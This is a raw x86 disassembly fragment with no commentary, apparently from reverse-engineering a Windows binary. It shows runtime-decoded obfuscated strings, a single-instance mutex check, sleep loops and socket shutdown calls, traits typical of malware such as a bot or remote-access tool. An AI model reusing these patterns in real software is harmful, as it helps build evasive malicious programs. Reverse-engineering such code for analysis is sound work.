mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x586290
call fcn.00413d50
mov byte [ebp - 4], 0x96
sub esp, 0x18
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x97
mov byte [ebp - 4], 0x34
call fcn.004c8e70
add esp, 0x78
test al, al
je 0x45d6c9
call fcn.004ce800
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x248]
call fcn.00402df0
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x248]
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x284]
call fcn.00402df0
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x284]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x29c]
call fcn.00402df0
mov byte [ebp - 4], 0x31
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x924]
call fcn.004124b0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x92c]
call fcn.00412530
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x8e0]
call fcn.00408b00
push str.43t_res_tgy45yfhyrt
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x5860ac], 0
mov esi, dword [ebp - 0x44]
je 0x45d95d
test esi, esi
je 0x45d95d
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x40], esp
push 0x5863c0
call fcn.00413d50
mov byte [ebp - 4], 0xa4
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 0x586258
call fcn.00413d50
mov byte [ebp - 4], 0xa5
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x48], esp
push 0x586368
call fcn.00413d50
mov byte [ebp - 4], 0xa6
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x586388
call fcn.00413d50
mov byte [ebp - 4], 0xa7
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x68], esp
push 0x586378
call fcn.00413d50
mov byte [ebp - 4], 0xa8
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x586290
call fcn.00413d50
mov byte [ebp - 4], 0xa9
sub esp, 0x18
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xaa
mov byte [ebp - 4], 0x12
call fcn.004c8e70
add esp, 0x78
test al, al
je 0x45d95d
mov dword [ebp - 0x20], 0xcae9b8de
mov dword [ebp - 0x1c], 0x9aac4dba
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x20], 0xf045912
mov dword [ebp - 0x1c], 0xa0df899c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0x583da4
mov dword [ebp - 0x5f4], ecx
push ecx
lea ecx, [ebp - 0x600]
mov dword [ebp - 0x5f8], eax
call fcn.004132d0
add esp, 4
lea ecx, [ebp - 0xa20]
mov edx, eax
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0xab
mov ecx, eax
call fcn.00416090
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xa20]
call fcn.00402c90
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x45d99a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call edi
mov dword [ebp - 0x20], 0xeace82e5
sub esp, 0x18
mov dword [ebp - 0x1c], 0x9fac7aff
mov esi, esp
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x224], ecx
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x40], esp
call fcn.004132d0
push eax
mov ecx, esi
call fcn.00402cf0
mov byte [ebp - 4], 0xac
mov byte [ebp - 4], 0x12
call fcn.004c4ce0
mov eax, dword [0x5863f8]
add esp, 0x18
sub eax, dword [0x5863f4]
je 0x45d951
nop dword [eax]
push 0x64
call edi
mov eax, dword [0x5863f8]
sub eax, dword [0x5863f4]
jne 0x45d940
mov esi, dword [ebp - 0x44]
mov byte [0x586081], 1
jmp 0x45d963
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb9
call edi
push 2
push dword [0x582b24]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x582b24]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x5860ac], 0
je 0x45d99a
test esi, esi
je 0x45d99a
push 0x3e8
call edi
jmp 0x45d991
xor esi, esi
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0x26c]
call fcn.00402df0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0x85c]
call fcn.00402df0
mov byte [ebp - 4], 9
lea eax, [ebp - 0x85c]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0xb3
lea ecx, [ebp - 0x1f0]
call fcn.00402df0
mov byte [ebp - 4], 5
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 5
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x9c]
test ecx, ecx
je 0x45da07
call fcn.00403fc0
mov dword [ebp - 4], 0xb6
lea ecx, [ebp - 0x8b0]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x8b0]
mov dword [ebp - 0x40], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10